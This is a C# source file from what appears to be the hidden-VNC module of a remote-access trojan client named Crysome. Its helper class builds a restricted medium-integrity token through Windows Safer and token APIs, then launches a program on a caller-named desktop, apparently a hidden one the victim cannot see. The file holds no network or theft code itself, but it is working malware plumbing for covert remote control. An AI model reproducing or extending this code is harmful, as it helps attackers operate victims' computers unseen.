using System; using System.IO; using System.Runtime.InteropServices; using System.Text; namespace Crysome.Client.Hvnc; internal static class HvncProcessHelper { private struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public int dwProcessId; public int dwThreadId; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] private struct STARTUPINFO { public int cb; public string lpReserved; public string lpDesktop; public string lpTitle; public int dwX; public int dwY; public int dwXSize; public int dwYSize; public int dwXCountChars; public int dwYCountChars; public int dwFillAttribute; public int dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } private struct SID_AND_ATTRIBUTES { public IntPtr Sid; public uint Attributes; } private struct TOKEN_MANDATORY_LABEL { public SID_AND_ATTRIBUTES Label; } private enum TOKEN_INFORMATION_CLASS { TokenIntegrityLevel = 25 } public enum SaferLevel : uint { NormalUser = 0x20000u } public enum SaferScope : uint { User = 2u } [Flags] public enum SaferOpenFlags : uint { Open = 1u } private const uint SE_GROUP_INTEGRITY = 32u; public static bool RunAsRestrictedUser(string fileName, string desktopName) { if (string.IsNullOrWhiteSpace(fileName)) { return false; } if (!GetRestrictedSessionUserToken(out var token)) { return false; } try { STARTUPINFO lpStartupInfo = new STARTUPINFO { cb = Marshal.SizeOf(typeof(STARTUPINFO)), lpDesktop = desktopName }; PROCESS_INFORMATION lpProcessInformation = default(PROCESS_INFORMATION); StringBuilder stringBuilder = new StringBuilder(); stringBuilder.Append(fileName); return CreateProcessAsUser(token, null, stringBuilder, IntPtr.Zero, IntPtr.Zero, bInheritHandles: true, 0u, IntPtr.Zero, Path.GetDirectoryName(fileName), ref lpStartupInfo, out lpProcessInformation); } finally { CloseHandle(token); } } private static bool GetRestrictedSessionUserToken(out IntPtr token) { token = IntPtr.Zero; if (!SaferCreateLevel(SaferScope.User, SaferLevel.NormalUser, SaferOpenFlags.Open, out var pLevelHandle, IntPtr.Zero)) { return false; } IntPtr OutAccessToken = IntPtr.Zero; TOKEN_MANDATORY_LABEL structure = new TOKEN_MANDATORY_LABEL { Label = { Sid = IntPtr.Zero } }; IntPtr intPtr = IntPtr.Zero; try { if (!SaferComputeTokenFromLevel(pLevelHandle, IntPtr.Zero, out OutAccessToken, 0, IntPtr.Zero)) { return false; } structure.Label.Attributes = 32u; structure.Label.Sid = IntPtr.Zero; if (!ConvertStringSidToSid("S-1-16-8192", out structure.Label.Sid)) { return false; } intPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(TOKEN_MANDATORY_LABEL))); Marshal.StructureToPtr(structure, intPtr, fDeleteOld: false); if (!SetTokenInformation(OutAccessToken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, intPtr, (uint)Marshal.SizeOf(typeof(TOKEN_MANDATORY_LABEL)))) { return false; } token = OutAccessToken; OutAccessToken = IntPtr.Zero; } finally { SaferCloseLevel(pLevelHandle); if (structure.Label.Sid != IntPtr.Zero) { LocalFree(structure.Label.Sid); } if (intPtr != IntPtr.Zero) { Marshal.FreeHGlobal(intPtr); } if (OutAccessToken != IntPtr.Zero) { CloseHandle(OutAccessToken); } } return true; } [DllImport("advapi32", CallingConvention = CallingConvention.StdCall, SetLastError = true)] private static extern bool SaferCreateLevel(SaferScope scope, SaferLevel level, SaferOpenFlags openFlags, out IntPtr pLevelHandle, IntPtr lpReserved); [DllImport("advapi32", CallingConvention = CallingConvention.StdCall, SetLastError = true)] private static extern bool SaferComputeTokenFromLevel(IntPtr LevelHandle, IntPtr InAccessToken, out IntPtr OutAccessToken, int dwFlags, IntPtr lpReserved); [DllImport("advapi32", SetLastError = true)] private static extern bool SaferCloseLevel(IntPtr hLevelHandle); [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern bool ConvertStringSidToSid(string StringSid, out IntPtr ptrSid); [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern bool CloseHandle(IntPtr hObject); [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr LocalFree(IntPtr hMem); [DllImport("advapi32.dll", SetLastError = true)] private static extern bool SetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, uint TokenInformationLength); [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] private static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, StringBuilder lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); }